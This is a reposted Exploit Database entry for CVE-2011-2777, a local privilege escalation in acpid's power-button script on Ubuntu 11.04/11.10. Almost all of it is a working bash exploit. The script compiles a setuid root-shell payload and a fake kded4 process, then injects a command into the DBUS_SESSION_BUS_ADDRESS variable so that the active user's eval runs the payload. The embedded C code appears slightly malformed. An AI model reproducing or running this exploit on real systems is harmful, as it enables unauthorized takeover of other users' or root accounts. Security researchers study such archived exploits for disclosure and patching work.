Acpid 1:2.0.10-1ubuntu2 (Ubuntu 11.04/11.10) – Boundary Crossing Privilege Escalation

Exploit Database
135 阅读

作者： otr

日期： 2011-12-10
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/18228/

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# Exploit Title: Acpid Privilege Boundary Crossing Vulnerability

# Google Dork:

# Date: 23-11-2011

# Author: otr

# Software Link: https://launchpad.net/ubuntu/+source/acpid

# Version: 1:2.0.10-1ubuntu2

# Tested on: Ubuntu 11.10, Ubuntu 11.04

# CVE : CVE-2011-2777

# --

# Safeguard this letter, it may be an IMPORTANT DOCUMENT

#!/bin/bash

# otr

# The following script is executed when pressing the power button on an Ubuntu

# 11.10 system. Depending on how far we get in the condition in the code

# fragement, it is possible for another user on the local system to gain the

# privileges of the user who has the currently focused display running.The

# vulnerability only triggers when certain power management programms are not

# running, especially kded4 and the programms in the $PMS variable need not to

# be running in order for this to be exploitable.

# This exploit would be more reliable when having a way to dos

# gnome-power-manager Also it would be more fun one could trick the getXuser

# function into setting $XUSER to root. In the case of root being the user on

# the active display this exploit turns into a privilege escalation

# Exploitable file /etc/acpi/powerbtn.sh

# In original source code line 40

# --

# PMS="gnome-power-manager kpowersave xfce4-power-manager"

# PMS="$PMS guidance-power-manager.py dalston-power-applet"

# if pidof x $PMS > /dev/null ||

#( test "$XUSER" != "" && \

# pidof dcopserver > /dev/null && \

# test -x /usr/bin/dcop && \

# /usr/bin/dcop --user $XUSER kded kded loadedModules \

# | grep -q klaptopdaemon) ||

#( test "$XUSER" != "" && \

# test -x /usr/bin/qdbus && \

# test -r /proc/$(pidof kded4)/environ && \

# su - $XUSER -c \

# "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ | \

# tr '\0' '\n' | \

# grep DBUS_SESSION_BUS_ADDRESS); \

# qdbus org.kde.kded" | \

# grep -q powerdevil) ;\

# then

# --

# The problem here is that the output of cat /proc/$(pidof kded4)/environ is

# controllable by a local user by exporting the DBUS_SESSION_BUS_ADDRESS

# variable and running a programm called kded4.

# Using this environment variable the attack is able to inject arbitrary shell

# commands into the eval expression which will be executed with the rights

# of $XUSER which is the user with the currently active display.

# /usr/share/acpi-support/policy-funcs in the PowerDevilRunning function

# has similar code but it seems that under normal conditions this only

# allows to run code with the privileges one already has.

PAYLOADEXE="/var/crash/payload"

PAYLOADC="/var/crash/payload.c"

KDEDC="kded4.c"

KDEDEXE="kded4"

TRIGGER="/etc/acpi/powerbtn.sh"

rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC

echo "[+] Setting umask to 0 so we have world writable files."

umask 0

echo "[+] Preparing binary payload."

# we _try_ to get a suid root shell, if not we only get a

# shell for another user

cat > $PAYLOADC <<_EOF

#include <sys/stat.h>

void main(int argc, char **argv)

{

if(!strstr(argv[0],"shell")){

printf("[+] Preparing suid shell.\n");

system("cp /var/crash/payload /var/crash/shell");

setuid(0);

setgid(0);

chown ("/var/crash/shell", 0, 0);

chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);

}else{

execl("/bin/sh", "/bin/sh", "-i", 0);

}

_EOF

gcc -w -o $PAYLOADEXE $PAYLOADC

echo "[+] Preparing fake kded4 process."

cat > $KDEDC <<_EOF

#include <unistd.h>

void main (){

while(42){

sleep(1);

if( access( "/var/crash/shell" , F_OK ) != -1 ) {

execl("/var/crash/shell", "/var/crash/shell", "-i", 0);

exit(0);

}

_EOF

gcc -w -o $KDEDEXE $KDEDC

rm -f $KDEDC $PAYLOADC

echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."

export DBUS_SESSION_BUS_ADDRESS="xxx & $PAYLOADEXE"

echo "[+] Starting kded4."

echo "[+] Trying to PMS the system."

echo "[+] Waiting for the power button to be pressed."

echo "[+] You'll get a shell on this console."

./$KDEDEXE

rm $KDEDEXE